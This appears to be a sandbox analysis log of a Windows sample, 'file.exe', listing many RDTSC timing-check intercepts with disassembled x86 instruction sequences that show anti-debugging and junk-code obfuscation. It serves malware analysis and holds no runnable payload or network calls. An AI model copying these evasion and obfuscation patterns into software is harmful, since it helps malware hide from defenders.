Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F8A2 second address: C3F8BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F885C786DF6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42C87 second address: C42C8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42C8B second address: C42C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42C91 second address: C42CF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F885D5FB12Bh 0x00000008 jmp 00007F885D5FB12Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 je 00007F885D5FB13Fh 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F885D5FB135h 0x0000001f popad 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 push edx 0x00000025 je 00007F885D5FB128h 0x0000002b pushad 0x0000002c popad 0x0000002d pop edx 0x0000002e mov eax, dword ptr [eax] 0x00000030 jmp 00007F885D5FB12Bh 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jnl 00007F885D5FB126h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42CF6 second address: AC1EFF instructions: 0x00000000 rdtsc 0x00000002 js 00007F885C786DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push edx 0x0000000d pop edi 0x0000000e push dword ptr [ebp+122D0251h] 0x00000014 mov dword ptr [ebp+122D1F41h], ebx 0x0000001a call dword ptr [ebp+122D1CD2h] 0x00000020 pushad 0x00000021 jmp 00007F885C786DF6h 0x00000026 xor eax, eax 0x00000028 mov dword ptr [ebp+122D1CF6h], edx 0x0000002e mov edx, dword ptr [esp+28h] 0x00000032 jmp 00007F885C786DEEh 0x00000037 cmc 0x00000038 mov dword ptr [ebp+122D2AC4h], eax 0x0000003e js 00007F885C786DE7h 0x00000044 cld 0x00000045 mov esi, 0000003Ch 0x0000004a cmc 0x0000004b add esi, dword ptr [esp+24h] 0x0000004f jmp 00007F885C786DEBh 0x00000054 lodsw 0x00000056 mov dword ptr [ebp+122D1CF6h], ebx 0x0000005c add eax, dword ptr [esp+24h] 0x00000060 mov dword ptr [ebp+122D1CF6h], ebx 0x00000066 jmp 00007F885C786DF8h 0x0000006b mov ebx, dword ptr [esp+24h] 0x0000006f jmp 00007F885C786DECh 0x00000074 nop 0x00000075 jp 00007F885C786DEEh 0x0000007b push edi 0x0000007c jnc 00007F885C786DE6h 0x00000082 pop edi 0x00000083 push eax 0x00000084 pushad 0x00000085 jno 00007F885C786DECh 0x0000008b push eax 0x0000008c push edx 0x0000008d pushad 0x0000008e popad 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C42F5B second address: C42FEA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F885D5FB126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 431AE77Ah 0x00000011 jmp 00007F885D5FB135h 0x00000016 push 00000003h 0x00000018 add dword ptr [ebp+122D2272h], edx 0x0000001e push 00000000h 0x00000020 jmp 00007F885D5FB131h 0x00000025 push 00000003h 0x00000027 mov si, 6DD9h 0x0000002b add dword ptr [ebp+122D1FC6h], esi 0x00000031 push 4E75EDADh 0x00000036 jmp 00007F885D5FB12Eh 0x0000003b add dword ptr [esp], 718A1253h 0x00000042 call 00007F885D5FB133h 0x00000047 pop esi 0x00000048 lea ebx, dword ptr [ebp+12454BE4h] 0x0000004e movzx ecx, di 0x00000051 push eax 0x00000052 pushad 0x00000053 pushad 0x00000054 jc 00007F885D5FB126h 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C43109 second address: C4313D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F885C786DF6h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F885C786DECh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4313D second address: C4315A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F885D5FB12Ch 0x00000008 jc 00007F885D5FB126h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jbe 00007F885D5FB126h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4315A second address: C431AD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F885C786DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jbe 00007F885C786DE6h 0x00000011 pop edi 0x00000012 popad 0x00000013 pop eax 0x00000014 mov edi, dword ptr [ebp+122D1CEFh] 0x0000001a lea ebx, dword ptr [ebp+12454BEFh] 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007F885C786DE8h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000017h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a mov edi, 1FA18771h 0x0000003f and cx, 8B87h 0x00000044 xchg eax, ebx 0x00000045 pushad 0x00000046 jl 00007F885C786DECh 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C542F0 second address: C5430A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885D5FB130h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5430A second address: C54317 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F885C786DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C61CD4 second address: C61D08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F885D5FB126h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F885D5FB13Fh 0x00000012 jnc 00007F885D5FB126h 0x00000018 jmp 00007F885D5FB133h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C61D08 second address: C61D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C61D0C second address: C61D14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6231D second address: C62321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C628B6 second address: C628C0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F885D5FB126h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C628C0 second address: C62904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 jg 00007F885C786DEAh 0x0000000e jno 00007F885C786DECh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F885C786DEEh 0x0000001b jmp 00007F885C786DF6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C63410 second address: C6343C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F885D5FB138h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F885D5FB140h 0x00000011 jc 00007F885D5FB13Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C638AB second address: C638B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C638B3 second address: C638B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C638B7 second address: C638DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885C786DF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F885C786DE6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C638DF second address: C638E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6A253 second address: C6A259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6A259 second address: C6A25F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2DBAA second address: C2DBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007F885C786DF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2DBC7 second address: C2DBD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F885D5FB126h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2DBD1 second address: C2DBD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6C580 second address: C6C59D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F885CB96136h 0x0000000a jmp 00007F885CB96143h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C703B0 second address: C703B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FA00 second address: C6FA10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push esi 0x00000007 push edx 0x00000008 jno 00007F885CB96136h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FF7D second address: C6FFA7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F885CCA3F0Ch 0x0000000c jc 00007F885CCA3F06h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F885CCA3F16h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FFA7 second address: C6FFAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6FFAB second address: C6FFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70109 second address: C7010E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7010E second address: C7012C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F885CCA3F13h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7012C second address: C70144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CB96144h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C70B11 second address: C70B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7116F second address: C71176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71250 second address: C71254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71850 second address: C7186D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F885CB96136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F885CB96141h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7186D second address: C718CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CCA3F13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b mov esi, 0DB0DDAEh 0x00000010 call 00007F885CCA3F0Fh 0x00000015 mov edi, dword ptr [ebp+122D2B5Ch] 0x0000001b pop esi 0x0000001c nop 0x0000001d push ecx 0x0000001e jp 00007F885CCA3F17h 0x00000024 jmp 00007F885CCA3F11h 0x00000029 pop ecx 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push edx 0x0000002e jmp 00007F885CCA3F0Bh 0x00000033 pop edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C71E3D second address: C71E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F885CB9613Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72337 second address: C7233C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7233C second address: C723C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jbe 00007F885CB9613Ch 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F885CB96138h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c mov di, E38Fh 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F885CB96138h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c jmp 00007F885CB96148h 0x00000051 xchg eax, ebx 0x00000052 pushad 0x00000053 js 00007F885CB96138h 0x00000059 pushad 0x0000005a popad 0x0000005b push eax 0x0000005c push edx 0x0000005d jp 00007F885CB96136h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72D61 second address: C72D80 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F885CCA3F13h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72D80 second address: C72D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73CB8 second address: C73CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C73CBE second address: C73CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C748B5 second address: C7492F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F885CCA3F0Ch 0x00000008 jg 00007F885CCA3F06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jnc 00007F885CCA3F1Eh 0x00000018 push edi 0x00000019 jmp 00007F885CCA3F12h 0x0000001e pop edi 0x0000001f popad 0x00000020 nop 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F885CCA3F08h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b movzx esi, dx 0x0000003e push 00000000h 0x00000040 cld 0x00000041 push 00000000h 0x00000043 clc 0x00000044 push eax 0x00000045 push ebx 0x00000046 push eax 0x00000047 push edx 0x00000048 push ebx 0x00000049 pop ebx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7462F second address: C74645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F885CB96140h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74645 second address: C74656 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F885CCA3F06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C753C2 second address: C7542D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b stc 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F885CB96138h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 add dword ptr [ebp+122DBB52h], esi 0x0000002e push 00000000h 0x00000030 call 00007F885CB96140h 0x00000035 mov edi, dword ptr [ebp+122D2B10h] 0x0000003b pop esi 0x0000003c push eax 0x0000003d pushad 0x0000003e pushad 0x0000003f jmp 00007F885CB96144h 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75D48 second address: C75D4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C770A4 second address: C770AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C770AF second address: C770B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7C050 second address: C7C06A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F885CB96146h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7B0EB second address: C7B0FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007F885CCA3F14h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D0CF second address: C7D0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D0DA second address: C7D0E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D0E3 second address: C7D0E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D0E7 second address: C7D0EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D2E5 second address: C7D2EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F08C second address: C7F096 instructions: 0x00000000 rdtsc 0x00000002 je 00007F885CCA3F0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D2EC second address: C7D38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F885CB9613Dh 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F885CB96138h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push dword ptr fs:[00000000h] 0x0000002f push edx 0x00000030 call 00007F885CB9613Fh 0x00000035 jne 00007F885CB96136h 0x0000003b pop edi 0x0000003c pop edi 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 or dword ptr [ebp+122D2074h], ecx 0x0000004a mov eax, dword ptr [ebp+122D035Dh] 0x00000050 push 00000000h 0x00000052 push edx 0x00000053 call 00007F885CB96138h 0x00000058 pop edx 0x00000059 mov dword ptr [esp+04h], edx 0x0000005d add dword ptr [esp+04h], 00000018h 0x00000065 inc edx 0x00000066 push edx 0x00000067 ret 0x00000068 pop edx 0x00000069 ret 0x0000006a add ebx, 37E7580Bh 0x00000070 push FFFFFFFFh 0x00000072 mov edi, dword ptr [ebp+122D2DC4h] 0x00000078 nop 0x00000079 push eax 0x0000007a push edx 0x0000007b js 00007F885CB96138h 0x00000081 pushad 0x00000082 popad 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D38B second address: C7D391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C80F41 second address: C80F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CB96147h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8024E second address: C80252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C80F5D second address: C80F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F885CB9613Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81F86 second address: C81F90 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F885CCA3F0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C86052 second address: C86057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8322A second address: C83230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C842D5 second address: C842DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C861E6 second address: C861EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C83230 second address: C83234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C870D3 second address: C870D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C842DB second address: C842E0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C861EA second address: C861FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CCA3F11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C852E7 second address: C852ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C861FF second address: C86209 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F885CCA3F0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C852ED second address: C852F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
